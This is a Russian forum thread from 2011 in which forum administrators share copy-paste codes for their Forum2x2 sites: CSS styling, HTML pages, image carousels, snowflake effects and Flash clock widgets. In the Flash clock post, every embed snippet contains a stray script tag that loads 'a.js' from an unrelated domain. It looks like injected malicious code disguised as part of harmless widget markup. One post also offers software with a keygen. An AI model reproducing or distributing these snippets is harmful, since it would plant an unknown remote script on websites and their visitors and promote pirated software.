Виджеты для форума

автор Тома Сб Окт 22, 2011 2:47 pm

18 лучших браузеров

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

автор Тома Сб Окт 22, 2011 2:48 pm

Ободрялка

автор Тома Сб Окт 22, 2011 2:50 pm

Часы

автор sky Вс Ноя 27, 2011 9:14 pm

Выделение репутации

Для того, чтобы выделить репутацию, вам необходим код:

Код:: .vote { background-color:#цвет; border-color:#цвет; border-style:solid; border-width:1px; float:расположение; margin-left:-20px; margin-top:200px; padding:2px 5px; width:9px; }

В коде заменяем:
background-color:#цвет фона репутации;
border-color:#цвет рамки репутации;
float:расположение (right или left);
Также можете регулировать все цифры (выше, ниже, шире, уже) здесь:
margin-left:-20px;
margin-top:200px;
padding:2px 5px;
width:9px;

Скриншот:

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

ставим = в ПА - Оформление - цвета - CSS

автор sky Вс Ноя 27, 2011 9:23 pm

как поставить картинку около ссылки. Можно таким методом.
Ставить в CSS

Код:: /*Картинка около ссылки*/ .forumtitle, .clearfix div a { background : url(http://10pix.ru/img1/3128/1200555.gif) no-repeat right; padding-right : 15px; }

После установки кода появится картинка около ссылок в постах и около названий форумов в категориях.

размер картинки - примерно 10х10 пикселей, можно и чуть больше.
В коде вместо этой ссылки [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] ставим код своей картинки

ставим = ПА-оформления-цвета-Css таблица
Туда вставляй код.

автор sky Вс Ноя 27, 2011 9:30 pm

Alice пишет: весенняя шапочка форума:
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

В шапке 3 картинки - паттерн, логотип справа и сосульки слева.
При этом в ПА картинка для логотипа не установлена (точней, там стоит картинка empty), так что туда можно влепить 4 картинку, и в описании сайта - только текст. Так что туда тоже можно влепить картинку. 5-ю.
А если еще пошариться в каскадной таблице, то можно, наверно, и шестую куда-нить вклепать.
Как сделана моя шапка:
1. В ПА в управлении картинками для верхней части страницы указана ссылка на картинку-паттерн (зеленый бесшовный фон).
2. На месте логотипа прописана картинка empty. При желании туда можно поставить другу картинку - будет 4 картинки в шапке.
3. В описании сайта указан текст. При желании туда тоже можно запихать картинку, она будет 5-й в шапке.
4. В каскадную таблицу вставлен примерно такой код:
Код:
/* Логотип */ #logo-desc { height:69px; margin-left: 5px; background: transparent url('адрес картинки слева') center left scroll no-repeat; } #logo { background: transparent url("адрес картинки справа") center left scroll no-repeat; float:right; height:50px; padding-right:70px; margin-top:-10px; }
Поля, отступы, высоту - надо подбирать индивидуально в зависимости от размера картинок и желаемого результата.

Примечание: ИЕ-6 почему-то сосульки в шапке не показывает.

автор sky Вс Ноя 27, 2011 9:33 pm

То же самое, что в БО, только плюс в развернутом.

Код:: #textarea_content textarea#text_editor_textarea { background:transparent url(адрес картинки) no-repeat scroll right bottom; }

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

автор sky Вс Ноя 27, 2011 9:34 pm

Для того, чтобы оформить в окно БО изображение, используйте следующий код:

Код:: form#quick_reply #textarea_content textarea#text_editor_textarea { background:transparent url(адрес картинки) no-repeat scroll right bottom; }

Внимание! Изображение не будет работать в БО с включенным WYSIWYG!

автор sky Вс Ноя 27, 2011 9:36 pm

Как и где создаются HTML странички?

Для создания/добавления HTML-странички на форум 2х2, открываем:
ПА - Модули - HTML - Управление страницами HTML - Создать новую страницу HTML
Далее следует обязательно вписать её название и заполнить остальные поля по желанию.
В нижнее поле Код HTML * следует вставлять код, который дан в любой теме-туториале данного раздела Клуба.

Внимание: всю информацию и данные в кодах HTML страниц вы заменяете на свои самостоятельно.
Избегайте вопросов типа: "как вместо вашего текста написать свой?" - пользуйтесь браузерным поиском (Ctrl+F).

автор sky Вс Ноя 27, 2011 9:38 pm

Вот такая страничка:

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Код к ней:

Код:: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Титл</title> <style type="text/css"> body{ text-align: center; } .mon_div{ width: 600px; background-image: url('http://i65.servimg.com/u/f65/11/95/30/70/dksa10.jpg'); border: 3px solid #000; padding: 10px; margin-left: auto; margin-right: auto; } h1{ color: #CC0000; font-size: 18px; font-family: Arial; margin-bottom: 30px; } p{ background-color: white; border: 3px double #000; color: Black; } i{ color: blue; font-size: 18px; } </style> </head> <body> <div class="mon_div"> <h1>Не знаешь где ты? Читай!</h1> <p>Форум "Клуб Админов" был создан 28 мая 2009 года. Нашей целью было создать форум для общения администраторов своих форумов, базирующихся на сервисе форумов Forum2x2.</p><br /><br /> <img src="http://i65.servimg.com/u/f65/11/95/30/70/dv410.png" border="0"><img src="http://i65.servimg.com/u/f65/11/95/30/70/dv311.png" border="0"><br /><br /> <i>Страница создана в Клубе Админов 2х2</i> </div> </body> </html>

автор sky Вс Ноя 27, 2011 9:56 pm

Легче некуда. Не надо вам Paint, Photoshop и т.д.

Заходишь на
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Вводишь в окошко ссылку на нужную страничку, допустим: [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Жмешь GO.
Потом View Screenshot. Увидишь скрин. Просто нажми на адрес картинки и скопируй.
------------------------------------------------------------------------------------------------
еще вариант

FastStone Capture 7.0:

Installer Version (+кейген)
Portable Version

Язык интерфейса: Английский

Когда программа включена, внизу экрана появляется маленькое окно программы.
Попробуйте в ней нажать на пунктирный прямоугольник и сделать скриншот, выделив нужный участок где-либо.
На картинке показано:

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

А чтобы загружать картинки в интернет, я пользуюсь Радикал-Фото ShellExtension ( [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] ).
Программа добавляет в контекстное меню "Проводника" или таких программ, как "Windows Picture and Fax Viewer", "Total Commander" пункт, с помощью которого можно быстро вызывать форму для обработки и загрузки Ваших изображений на сайт.
Только сначала нужно зарегистрироваться на том сайте, чтобы иметь возможность в дальнейшем управлять загруженными картинками.

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

автор sky Вс Ноя 27, 2011 10:04 pm

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Код:: Код: <embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-183.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script></embed><param name="movie" value="flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-183.swf" type"/><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/></object>

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Код:: Код: <embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-120.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script></embed><param name="movie" value="http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-120.swf" type"/><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/>

Код:: Код: <embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-125.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed><param name="movie" value="http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-125.swf" type"/><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/>

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Код:: Код: <embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-181.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script></embed><param name="movie" value="http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-181.swf" type"/><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/>

Код:: Код: <embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-15.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed><param name="movie" value="http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-15.swf" type"/><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/>

автор sky Вс Ноя 27, 2011 10:27 pm

несколько вариантов галерей картинок (Карусель)

Вариант №1

Код:: <style> #carousel { height:280px !important; /*высота поля*/ width:900px !important; /*ширинв поля*/ background-color:transparent !important; /*фон поля*/ } #carousel-left { position:absolute; bottom:20px !important; /*положение левой кнопки прокрутки от низа*/ left:150px !important; /*положение левой кнопки прокрутки от левого края*/ cursor:pointer; } #carousel-right { position:absolute; bottom:20px !important; /*положение правой кнопки прокрутки от низа*/ right:150px !important; /*положение правой кнопки прокрутки от правого края*/ cursor:pointer; } #carousel .blipsContainer .blip { background-color:#DDD !important; /*фон № не активной картинки картинки */ color:#0000FF !important; } #carousel .blipsContainer .blipSelected { background-color:#0000FF !important; /*фон № активной картинки картинки */ color:#FFF !important; } </style> <link rel="stylesheet" href="http://domovoy063.nxt.ru/local.css" charset="utf-8" /> <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery-1.5.min.js"></script> <script src="http://domovoy063.nxt.ru/jquery.featureCarousel.js" type="text/javascript" charset="utf-8"></script> <script type="text/javascript"> jQuery(document).ready(function() { jQuery("#carousel").featureCarousel({ }); }); </script>

Контейнер галереи, его наполняем картинками:

Код:: <div id="carousel-container"> <div id="carousel"> <div class="carousel-feature"> <img class="carousel-image" alt="Описание" title="Описание" src="ссылка на картинку"> </div> <div class="carousel-feature"> <img class="carousel-image" alt="Описание" title="Описание" src="ссылка на картинку"> </div> <div class="carousel-feature"> <img class="carousel-image" alt="Описание" title="Описание" src="ссылка на картинку"> </div> <div class="carousel-feature"> <img class="carousel-image" alt="Описание" title="Описание" src="ссылка на картинку"> </div> <div class="carousel-feature"> <img class="carousel-image" alt="Описание" title="Описание" src="ссылка на картинку"> </div> </div> <div id="carousel-left"><img src="http://www.iconbazaar.com/arrows/arrw07_16a.gif" /></div> <div id="carousel-right"><img src="http://www.iconbazaar.com/arrows/arrw07_06a.gif" /></div> </div>

Ставить нужно всё вместе в приветствие, HTML страничку или в виджет портала

Выглядит это примерно так:http://domovoybb3.forumotion.com/h1-page

То же самое но не много в другом виде и с описанием картинок.

Код:: <center> <link rel="stylesheet" href="http://domovoy063.nxt.ru/local.css" charset="utf-8" /> <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery-1.5.min.js"></script> <script src="http://domovoy063.nxt.ru/jquery.featureCarousel.js" type="text/javascript" charset="utf-8"></script> <script type="text/javascript"> jQuery(document).ready(function() { jQuery("#carousel").featureCarousel({ }); }); </script><div id="carousel-container"> <div id="carousel"> <div class="carousel-feature"> <a href="#"><img class="carousel-image" alt="Image Caption" src="http://www.snapsnap.ru/i/1ftf.jpg"></a> <div class="carousel-caption"> <p> Описание к первой картинке </p> </div> </div> <div class="carousel-feature"> <a href="#"><img class="carousel-image" alt="Image Caption" src="http://www.snapsnap.ru/i/2gsg.jpg"></a> <div class="carousel-caption"> <p> Описание ко второй картинке. </p> </div> </div> <div class="carousel-feature"> <a href="#"><img class="carousel-image" alt="Image Caption" src="http://www.snapsnap.ru/i/3tyt.jpg"></a> <div class="carousel-caption"> <p> Описание к третьей картинке </p> </div> </div> <div class="carousel-feature"> <a href="#"><img class="carousel-image" alt="Image Caption" src="http://www.snapsnap.ru/i/4ddd.jpg"></a> <div class="carousel-caption"> <p> Описание к четвёртой картинке </p> </div> </div> <div class="carousel-feature"> <a href="#"><img class="carousel-image" alt="Image Caption" src="http://www.snapsnap.ru/i/5flf.jpg"></a> <div class="carousel-caption"> <p> Описание к пятой картинке </p> </div> </div> </div> <div id="carousel-left"><img src="http://savepic.su/85959.gif" /></div> <div id="carousel-right"><img src="http://savepic.su/100295.gif" /></div> </div> </center>

Выглядит это примерно так:http://test-063.forumotion.com/h1-page

автор sky Вс Ноя 27, 2011 10:30 pm

Выриант №2

Лично мне он больше нравится))

Небольшие настройки. Думаю сами разберётесь в них методом тыка))))

Код:: <style> .roundabout-holder{ padding: 10px; height: 10em; width: 90%; margin: 0 auto; } .roundabout-moveable-item { height:200px; width:151px; cursor:pointer; background:transparent; border:1px solid #999; border:1px solid #999; overflow:hidden; } .roundabout-in-focus{ cursor:auto; } .example .show{ height:200px; width:850px; margin-top:0px; padding-top:50px; overflow:hidden; } </style>

Код:: <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery.easing.js"></script> <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery.roundabout.min.js"></script> <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery.roundabout-shapes.min.js"></script>

Это сам контейнер галереи. Заполняете своими картинками.

Код:: <div class="example"> <div class="show"> <ul id="example-tearDrop"> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="http://savepic.su/130264.png"></li> </ul> </div> <script> jQuery(document).ready(function() { jQuery('#example-tearDrop').roundabout({ shape: 'tearDrop' }); }); </script>

Картинки можно добавлять вставляя очередную строчку

Код:: <li><img class="carousel-image" alt="Описание картинки" title="Описание картинки" src="ссылка на картинку"></li>

Ставить можно в приветствие, в виджет на портал и в HTML страничку.

Посмотреть работу галереи можно здесь:http://domovoy-test.privetbb.ru/h2-page

автор sky Вс Ноя 27, 2011 10:32 pm

автор Домовой

Вариант №3

Не большая настройка размера поля

Код:: <style> #phoneCarousel{ height:220px !important; margin:20px auto 20px !important; position:relative; width:900px; } </style>

Код:: <link rel="stylesheet" type="text/css" href="http://domovoy063.nxt.ru/styles.css" /> <div id="phoneCarousel"> <div class="previous arrow"></div> <div class="next arrow"></div> <div id="stage"> <img class="carousel-image" alt="Описание" title="Описание" src="http://savepic.su/130264.png"> <img class="carousel-image" alt="Описание" title="Описание" src="http://savepic.su/130264.png"> <img class="carousel-image" alt="Описание" title="Описание" src="http://savepic.su/130264.png"> <img class="carousel-image" alt="Описание" title="Описание" src="http://savepic.su/130264.png"> <img class="carousel-image" alt="Описание" title="Описание" src="http://savepic.su/130264.png"> </div> </div> <script type="text/javascript" src="http://domovoy063.nxt.ru/script.js"></script>

Ставить можно в приветствие, в виджет портала и в HTML страничку

Посмотреть работу галереи можно здесь:http://test-063.forumotion.com/h3-page

автор sky Вс Ноя 27, 2011 10:33 pm

автор Домовой

Вариант №4

Код:: <center> <link type="text/css" rel="stylesheet" media="all" href="http://domovoy063.nxt.ru/local.css" /> <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery-1.5.min.js"></script> <script type="text/javascript" src="http://domovoy063.nxt.ru/jquery.waterwheelCarousel.js"></script> <script type="text/javascript"> jQueryjqNew = jQuery.noConflict(true); jQueryjqNew(document).ready(function () { jQueryjqNew("#waterwheel-carousel-default").waterwheelCarousel(); }); </script><div id="waterwheel-carousel-default"> <div class="carousel-controls"> <div class="carousel-prev"> <a href="#">< Назад</a></div> <div class="carousel-next"> <a href="#">> Вперёд</a></div> </div> <div class="carousel-images"> <img alt="Test Image 1" src="http://www.snapsnap.ru/i/1ftf.jpg" /> <img alt="Test Image 2" src="http://www.snapsnap.ru/i/2gsg.jpg" /> <img alt="Test Image 3" src="http://www.snapsnap.ru/i/3tyt.jpg" /> <img alt="Test Image 4" src="http://www.snapsnap.ru/i/4ddd.jpg" /> <img alt="Test Image 5" src="http://www.snapsnap.ru/i/5flf.jpg" /> <img alt="Test Image 6" src="http://www.snapsnap.ru/i/1ftf.jpg" /> <img alt="Test Image 7" src="http://www.snapsnap.ru/i/2gsg.jpg" /> <img alt="Test Image 8" src="http://www.snapsnap.ru/i/3tyt.jpg" /> <img alt="Test Image 9" src="http://www.snapsnap.ru/i/4ddd.jpg" /> <img alt="Test Image 10" src="http://www.snapsnap.ru/i/5flf.jpg" /> </div> </div> </center>

Посмотреть работу галереи можно здесь:http://test-063.forumotion.com/h4-page

автор sky Вс Ноя 27, 2011 10:34 pm

все эти коды с форумов поддержки

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

разместила их сюда,чтобы не потерять

автор sky Вс Ноя 27, 2011 10:47 pm

Как создать свою "Галерею"

автор Мизраил в Сб 26 Мар - 8:38

Конечно, галереи картинок Великого Forum2x2 и красивей, и комменты оставлять можно, и есть система голосов и т.п. , но когда размеру галереи наступает конец, понимаешь, что что-то надо делать. Собственно, здесь будет показан аналог галереи, который каждый может сделать сам и абсолютно легально-бесплатно.

Часть первая: Виджеты.

Для начала покажу, как будет выглядеть галерея:
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Как вы видите, это виджет. Количество картинок вы можете менять сами, а можете сделать пару виджетов с разным количеством картинок.
Ну, поехали!

1. Закачиваем картинки куда-нибудь ^_^ я лил на радикал.
2. Если нет своего профиля, лучше копируйте ссылки в какой-нибудь документик.
4. Для начала создаём виджет. Можете ставить любые параметры, только желательно ставьте table type на yes (У мя форум английский )
4. Называем его, допустим, "Галерея", в содержании ставим следующий код:

Код:: код: <center> <SCRIPT LANGUAGE="JavaScript"> var Text = new Array() // вот здесь мы делаем список картинок. Text[1] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' // неразбиваемый пробел нужен, чтобы было пространство между картинками Text[2] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' Text[3] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' Text[4] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' var c1 = Math.floor(Math.random() * Text.length) if (c1 == 0) { c1 = 1; } var c2 = Math.floor(Math.random() * Text.length) if (c2 == 0) { c2 = 1; } while (c2 == c1){ var c2 = Math.floor(Math.random() * Text.length) //проверяем, нету ли совпадений картинок if (c2 == 0) { c2 = 1; } } var c3 = Math.floor(Math.random() * Text.length) if (c3 == 0) { c3 = 1; } while ((c3 == c1)||(c3 == c2)){ var c3 = Math.floor(Math.random() * Text.length) if (c3 == 0) { c3 = 1; } } document.write(Text[c1]); //рисуем картинки. когда увеличиваем или уменьшаем кол-во картинок, не забываем про количество переменных cN document.write(Text[c2]); document.write(Text[c3]); </SCRIPT> </center>

5. В целом, виджет готов! Проверяйте, чтобы количество существующих картинок было больше количества показываемых!
6. Не забываем сохранить виджет!
7. Добавляем его на портал или на панели по бокам страницы.

Теперь работает!
На радикале можно создавать картинки-превьюшки, например:

Код:: <a target="_blank" href="http://radikal.ru/F/s008.radikal.ru/i305/1103/7a/b2e5f90e0d90.jpg.html"><img src="http://s008.radikal.ru/i305/1103/7a/b2e5f90e0d90t.jpg" ></a>

Используя эту функцию, можно будет сделать увеличение картинок при нажатии в отдельной вкладке. Собственно, я так и делал.

На всякий случай, пример однокартиночного виджета:

Код:: <center> <SCRIPT LANGUAGE="JavaScript"> var Text = new Array() Text[1] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' Text[2] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' Text[3] = '<img src="Адрес картинки" alt="Можно комментарий добавить"> ' var c1 = Math.floor(Math.random() * Text.length) if (c1 == 0) { c1 = 1; } document.write(Text[c1]); </SCRIPT> </center>

Ещё. Если смотреть по коду, то самая первая картинка в списке будет встречаться в 2 раза чаще.

Часть вторая: Страница "Галерея нашего сайта".

Разумеется, многим пользователям захочется посмотреть все фотки сразу, и для этого желательно создать отдельную страницу.
У меня это выглядит вот так:
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

В целом, для html-щиков тут всё просто, но для простых пользователей эта часть будет полезна.
1. Заходим в админпанель, Модули -> html -> html pages management (в самом низу)))
2. Создаём новую страницу
3. Обзываем её, допустим, "Галерея телепузиков" ^_^
4. Включаем футеры и хеадеры (ну не знаю я, как по русски будет)))
5. Вставляем в содержимое:

Код:: <center><h1>Здесь находятся все наши фотки из галереи!</h1><br><br> <a target="_blank" href="ссылка на большое изображение"><img src="адресс превью" ></a> </center>[/quote]

6. Тулим после
коды картинок из виджетов.
7. Сохраняем страницу!

В менеджменте страниц вы можете найти ссылку на созданную страницу.

Теперь надо оставить ссылки в виджетах. Для этого добавьте в конец каждого виджета (перед ) следующее:

Код:: <br><br><b> <a href="ссылка на галерею">Жми сюда, чтобы просмотреть все фотки!</a></b>

В результате получаем такую симпатяжку ^_^ :
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Времени можно убить немало, но теперь у вас есть супер-галерея с неограниченным пространством! Как говорится, результат оправдывает средства!

автор sky Вс Ноя 27, 2011 10:52 pm

Авы 100х100 - 31 страница:

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

автор sky Вс Ноя 27, 2011 10:52 pm

НОВОГОДНИЕ ФОНЫ, КАРТИНКИ, РИСУНКИ И КАРТИНКИ

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

автор sky Вс Ноя 27, 2011 11:00 pm

Новогодние украшения: несколько скриптов и картинок

автор Luz
несколько скриптов и картинок, которыми вы можете украсить ваш форум к Новому году.
Нижеследующие скрипты вы можете установить в описании вашего форума :

ПА - Общие настройки - Форум - Конфигурация - Описание сайта

Большие снежинки :

Код:: <script src="http://astuforum.free.fr/js/neige.js"></script>

Маленькие снежинки :

Код:

Код:: <script src="http://astuforum.free.fr/js/neige_lettre.js"></script>

Средние снежинки :

Код:: <script src="http://astuforum.free.fr/js/neige-mini.js"></script>

Крохотные снежинки, сдуваемые ветром

Код:: <script src="http://astuforum.free.fr/js/snow.js"></script>

Еще одни маленькие снежинки :

Код:: <script src="http://s1.wordpress.com/wp-content/plugins/snow/snowstorm.js"></script>

Гирлянда с подарками :

Код:: <script src="http://sd-1.archive-host.com/membres/up/28346071248525984/guirlande.js"></script>

Еловые ветви с шишками :

Код:: <script src="http://sd-1.archive-host.com/membres/up/28346071248525984/sapin.js"></script>

Источник: Astuforum

автор sky Вс Ноя 27, 2011 11:08 pm

1. Следующие коды снежинок вставляйте в:
Панель администратора – Общие настройки – Форум – Конфигурация – Описание сайта.

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Коды снежинок:

Белые пушистые:

Код:: <script language=javascript src=http://marimama.ru/071123160521.js></script>

Красно-синие (цвета меняются в процессе падения):

Код:: <script language=javascript src="http://pmsc.free.fr/J/071122185618.js"></script>

Смесь цветных:

Код:: <script src="http://pmsc.free.fr/J/071122164107.js" /></script>

Большие белые:

Код:: <script language=javascript src=http://pmsc.free.fr/J/071123170438.js></script>

2. Если в описании сайта у Вас уже стоит какой-либо другой код, тогда вот ещё коды которые следует вставлять в:
Панель администратора - Оформление - Главная - Общая информация - Приветствие на главной странице. Html должено быть включено.

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Коды снежинок:

С большими голубыми снежинками:

Код:: <script type="text/javascript"> /****************************************** * Snow Effect script- By Altan d.o.o. (http://www.altan.hr/snow/index.html) * Visit Dynamic Drive DHTML code library (http://www.dynamicdrive.com/) for full source code * Last updated Nov 9th, 05' by DD. This notice must stay intact for use ******************************************/ var snowsrc="http://i71.servimg.com/u/f71/12/41/10/67/snow10.gif" var no = 10; var hidesnowtime = 0; var snowdistance = "windowheight"; var ie4up = (document.all) ? 1 : 0; var ns6up = (document.getElementById&&!document.all) ? 1 : 0; function iecompattest() { return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body } var dx, xp, yp; var am, stx, sty; var i, doc_width = 800, doc_height = 600; if (ns6up) { doc_width = self.innerWidth; doc_height = self.innerHeight; } else if (ie4up) { doc_width = document.body.clientWidth; doc_height = document.body.clientHeight; } dx = new Array(); xp = new Array(); yp = new Array(); am = new Array(); stx = new Array(); sty = new Array(); for (i = 0; i < no; ++ i) { dx[i] = 0; xp[i] = Math.random()*(doc_width-50); yp[i] = Math.random()*doc_height; am[i] = Math.random()*20; stx[i] = 0.02 + Math.random()/10; sty[i] = 0.7 + Math.random(); if (ie4up||ns6up) { if (i == 0) { document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><a href=\"http://dynamicdrive.com\"><img src='"+snowsrc+"' border=\"0\"><\/a><\/div>"); } else { document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><img src='"+snowsrc+"' border=\"0\"><\/div>"); } } } function snowIE_NS6() { doc_width = ns6up?window.innerWidth-10 : iecompattest().clientWidth-10; doc_height=(window.innerHeight && snowdistance=="windowheight")? window.innerHeight : (ie4up && snowdistance=="windowheight")? iecompattest().clientHeight : (ie4up && !window.opera && snowdistance=="pageheight")? iecompattest().scrollHeight : iecompattest().offsetHeight; for (i = 0; i < no; ++ i) { yp[i] += sty[i]; if (yp[i] > doc_height-50) { xp[i] = Math.random()*(doc_width-am[i]-30); yp[i] = 0; stx[i] = 0.02 + Math.random()/10; sty[i] = 0.7 + Math.random(); } dx[i] += stx[i]; document.getElementById("dot"+i).style.top=yp[i]+"px"; document.getElementById("dot"+i).style.left=xp[i] + am[i]*Math.sin(dx[i])+"px"; } snowtimer=setTimeout("snowIE_NS6()", 10); } function hidesnow() { if (window.snowtimer) clearTimeout(snowtimer) for (i=0; i<no; i++) document.getElementById("dot"+i).style.visibility="hidden" } if (ie4up||ns6up) { snowIE_NS6(); if (hidesnowtime>0) setTimeout("hidesnow()", hidesnowtime*1000) } </script>

С "живыми" снежинками:

Код:: <SCRIPT LANGUAGE="JavaScript1.2">  </script>

Все коды являются рабочими.
Проверено, LadySailor

автор sky Вс Ноя 27, 2011 11:09 pm

форуму

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

автор sky Вс Ноя 27, 2011 11:16 pm

Вставка видео со [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] - аналогично вставке видео с RuTube, описанной в ;Уловках и хитростях в форуме форумов.
То есть:
1. Открываем окошко расширенного ответа (жмем кнопку "Ответить").
2. Находим нужное видео на smotri.com.
3. Внизу, под окошком ролика на вкладке выбираем "код для liveinternet"
4. Копируем код, вставляем в сообщение.
5. Из кода выдираем ссылку.
6. В окне расширенного ответа жмем кнопку "Флеш".
7. Вставляем в появившееся окошко ссылку.
8. Теперь задаем размеры флеш. Они тоже указаны в коде.
9. Жмем "Ок".
10. Сносим код с smotri.com, который копипастили в сообщен[/code]ие.

Либо просто редактируем код.

Пример:

Код:: [flash(400,330)]http://pics.smotri.com/scrubber_custom8.swf?file=v10697647353&bufferTime=3&autoStart=false&str_lang=rus&xmlsource=http%3A%2F%2Fpics.smotri.com%2Fcskins%2Fblue%2Fskin_color_lightaqua.xml&xmldatasource=http%3A%2F%2Fpics.smotri.com%2Fskin_ng.xml[/flash]

автор sky Вс Ноя 27, 2011 11:20 pm

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Виджеты для форума

Виджеты для форума

Re: Виджеты для форума

Re: Виджеты для форума

Re: Виджеты для форума

Картинка около ссылок

Шапка для ВВ3, содержащая 3 и более разных картинок.

Изображение в быстром и развернутом ответах

Изображение в окне БО

Как и где создаются HTML странички?

Серо-белая страничка с героями игр

Как просто и легко сделать скриншот?

Коллекция часов для форума - 6

Карусель картинок (фотогалерея) [все версии форума]

Карусель картинок (фотогалерея) [все версии форума]

: Карусель картинок (фотогалерея) [все версии форума]

Карусель картинок (фотогалерея) [все версии форума]

Re: Виджеты для форума

Как создать свою "Галерею"

Re: Виджеты для форума

Re: Виджеты для форума

Новогодние украшения: несколько скриптов и картинок

Снежинки для Вашего форума

Re: Виджеты для форума

Вставка в сообщения видео со smotri.com

Re: Виджеты для форума